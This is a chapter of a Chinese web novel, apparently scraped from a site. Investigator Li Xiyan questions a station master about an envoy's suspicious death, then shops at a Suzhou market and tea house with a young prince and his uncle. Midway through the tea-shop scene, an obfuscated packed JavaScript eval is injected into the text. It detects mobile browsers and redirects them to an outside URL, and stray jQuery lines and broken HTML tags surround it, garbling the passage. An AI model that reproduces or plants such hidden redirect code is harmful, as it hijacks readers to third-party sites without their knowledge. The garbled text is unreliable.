肖平生前居住的驿站是苏州另外一边的驿站。
驿站的驿长是个白白胖胖的中年男子。
朝廷为了节省驿站开支,驿长一般由有关系或者财力的富户来担任。
这个驿长也不例外。
“鄙人见过李少使。”
“你倒是会认人。”
李希言语气慢悠悠的,驿长却直冒汗。
“鄙人只是猜测……”
“肖平肖郎中认识吗?”
“认识认识。”一听到这个名字,驿长就知道自己被抓来的缘由了,“肖郎中一直住在鄙人的驿站中,但是他的死……鄙人真的不知情啊。”
自己的驿站里死了一个钦差,他当时都要吓疯了。
李希言本来就不想为难他,语气和缓了些。
“本官找你来,只是想问一问线索。你可还记得肖郎中死前有没有发生什么特殊的事情?”
驿长舒了一口气。
“有!就是肖郎中自缢那晚。他很晚才回来,一回来就急匆匆地上了楼,也不和我们打招呼,把自己关在屋内。驿卒去敲门也不应。第二日一早……驿卒敲门听见里面没有动静,就大着胆子进去了,结果……才发现肖郎中已经吊死了。”
“那晚,你们有没有人看清他的脸?”
“没有,他捂着脸进来的。”
“除此以外,肖郎中在去世前那段时间常去什么地方?”
“肖郎中啊……他真是个好官,烟花之地是从来不去的,一来就日日往河堤那边跑,要么就是去县衙。”
“除了这两个地方,他哪儿也没去过?”
“没有,每日两点一线,鄙人让他去买些特产带回去,他都没空去。”
“肖郎中去世后,有哪些人来查过?”
驿长想了想才回答道:“县衙的人来过几次,还把我们拉去问过话。之后县衙来人说肖郎中是自缢,结案后就让我们把房间收拾了。”
“房间如今有人入住吗?”
驿长脸色发青。
“这……驿站来来往往的都是贵人,才出了事儿的房间,鄙人怎敢让贵人住进去。那房间现在还空着的,鄙人已经把它给锁了。”
“今日之事,莫要对他人提起。”
驿长连连点头:“鄙人明白。”
这钦差的死肯定有蹊跷,才会把绣衣司的人都招来了。
李希言疲倦地摆了摆手:“送他回去吧。”
在驿站沉寂了几日。
李希言一大早就换了一身绛红色便衣坐在屋内用饭。
来交课业的瑞王眼睛一亮。
“我就说嘛,你日日穿得黑糊糊的多难看,还是红色衬你。”
李希言塞了个包子堵住他的嘴。
“少点评他人外表。”
跟着后面进来的容朗会说话得多。
“李少使穿什么都是好看的。”
李希言手颤了一下,低头认真看着瑞王的课业。
“写得不错。”
瑞王咽下嘴里的一口包子。
“那有没有奖励?”
李希言将课业收好。
“今日带你出门逛逛。”
“真的?!”瑞王被关在驿站好几日了,正憋闷着。
李希言故意板着脸说反话。
“假的。”
“嘿嘿,我知道是真的。”瑞王欢喜得脸都红了,“除了第一日去城隍庙逛了逛,我还没去过其他地方呢。”
“李少使今日怎么有心情出门?”容朗这两日找她下棋都被推了。
“事情要办完了,自然该休息两日,顺便……”李希言视线转向一旁的瑞王,“带钱了吗?”
瑞王面露哀怨地看着自家小叔叔。
小叔叔是不限制他,但是他把自己的金银细软全部捏在手里!
他就是跑也没用。
容朗很是警惕:“一起出去,我还会不付钱吗?”
“哼~”
李希言起身理了理衣裳:“走吧,任小郎。”
“什么任小郎?”
李希言摸出一份路引在他眼前晃了晃:“你的新身份,任性。”
“谁任性了!你怎么给我取这个名儿!”瑞王作势要去抢。
李希言立即揣好:“还想不想出门?”
瑞王收回手,一脸怨气,声音响亮。
“想!”
容朗双眼弯弯:“不丢人啊?”
“不丢人……”瑞王气呼呼地扭头就走。
出门去玩更重要!大丈夫能屈能伸。
二人慢悠悠跟在后面,和他保持着不远不近的距离。
集市上人还不多,三人走得很是从容。
瑞王在前面东摸摸西看看。
“李少使今日是只为了逛街吗?”
前几日在集市遇袭的事情让容朗至今记得清清楚楚。
“是啊,带他出来透透气。”李希言抬了抬下巴,“免得他憋坏了。”
容朗不太相信:“真的吗?”
“也不全是。陛下不是吩咐过要让他好好体察民情吗?”
容朗就知道,她脑子里全是公事……
“所以,李少使回去后还会给他布置课业?比如米面油粮的价格?”
李希言爽快承认:“差不多吧”
看着前面蹦蹦跳跳的背影,容朗心中生出些许的同情……
“小容!”瑞王笑得灿烂,转过来朝着二人招手,“快过来给我把账结了!”
容朗捏紧拳头。
同情个屁!
他忍着怒气付完账。
瑞王得寸进尺,想把刚买的东西往他手里塞。
“我只给以后的夫人提东西。”容朗直接躲开。
李希言倒是好心接过来,还问道:“买的什么?”
“团扇!”瑞王拿出来和她分享,“好看吧,这个是给我阿娘买的。”
团扇上绣了一朵牡丹花,很是合宜皇后的身份。
李希言问道:“让人给你送回去?”
“可以吗?”
“可以。”
瑞王顺势一塞:“谢谢李夫子。”
李希言也不在意,帮他提着。
“真是厚脸皮。”容朗小声骂道,“这个顺杆爬的臭小子。”
走了一路,瑞王拐了个弯进了一个茶庄
茶庄不大,但是里面茶香四溢,品种也很是繁多。
一排排青花瓷罐子整齐罗列在柜台旁。
瑞王一副财大气粗的模样:“老板。你们这儿最好的茶是哪一种?”
正趴在柜台上的老板一见他这打扮眼睛都泛着绿光。
是个阔绰的公子哥!
他迎上前,热情地介绍着:“最贵的自然就是我们苏州特产的洞庭碧螺春!来您看看……”
老板引着瑞王走到一个大茶罐跟前,揭开盖子。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13989356|144568||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
一股高扬的茶香扑面而来,还带着果香。
“您瞧瞧这茶叶,这可是正宗洞庭山产的碧螺春。这色泽是最上品的,翠绿中带着点儿银色。还有这品相,卷曲似螺,绒毛满披。喝起来更是甘甜鲜爽,回味无穷。不是鄙人吹嘘,整个苏州城没有比小店中更好的了!”
瑞王是生在富贵窝的,好不好一看就知。
“三月初的头茶,确实没骗人,给我来个……三斤吧!”
“好勒!”老板一边打包嘴里一边说着,“小郎君好眼力呢,小店不敢说是最便宜的,但是这茶叶的质量肯定是最好的……”
容朗在瑞王开口前付了账。
李希言忽然开口“给我包个六斤。”
“六……六斤?”老板愣了一下。
李希言将银票放往柜台上。
“均分成六份。”
老板咽了一口口水。
今儿发大财了!
他捧起银票。
“马上给您装上!”
“你买这么多茶叶干嘛?”瑞王记得她一直挺朴素的啊。
“给师兄他们。”
“哦!对哦,国……他是很爱喝茶。”
老板将茶叶包好:“三位慢走,下次再来啊。”
这一买,李希言手上的东西就多了起来。
容朗很自然地把东西接到了自己手里。
一直到自己手里空空,李希言才反应过来。
她狐疑地看了一眼身边的容朗。
什么时候把东西给他的啊?
容朗神情自若,即使手里提满了东西也不见丝毫狼狈。
“李少使还要买些其他东西吗?”
李希言摇头:“算了,茶叶就够多了。”
嘴上虽然这样说着,但是之后一路走过去,她还是买了不少。
走到了集市尽头,瑞王意犹未尽地转过身。
“唉……该回去了。”
快到正午,集市人密集了起来。
李希言指向旁边的一条小路。
“绕回去。”
叔侄俩看了一眼人头攒动的集市,跟着她往左边转。
巷子有些窄小。
三人没有并排。
容朗走在最前面,瑞王被二人护在中间。
“小叔叔……”瑞王忽然停下脚步,“你不是说你只给你未来的夫人提东西吗~”
容朗背影一顿:“不会娶你的,你放心。”
“你这话好恶心。”
“没你恶心。”容朗继续向前走。
驿站大门口斜靠着一个白色的身影,身姿分外妖娆……
李希言捂住额头。
这一定不是我的手下。
“哟~”白色的身影飘了过来,“你们回来了。”
李希言表情略显僵硬:“不是让你呆在县衙吗?”
来者正是应该在县衙的卫川。
卫川一双秀气的眉毛微蹙,竟有点楚楚可怜的意味。
“你别这样,本来长得就像个小娘子。”李希言眉间隐隐浮出川字,脸上是毫不掩饰的嫌弃。
“属下为了咱们绣衣司,牺牲色相,少使却如此……”
李希言摸着刀柄。
“有话直说。”
卫川立刻站直。
“回禀少使,事情已经办妥,请少使指示!”
“人呢?”
“就在里面。”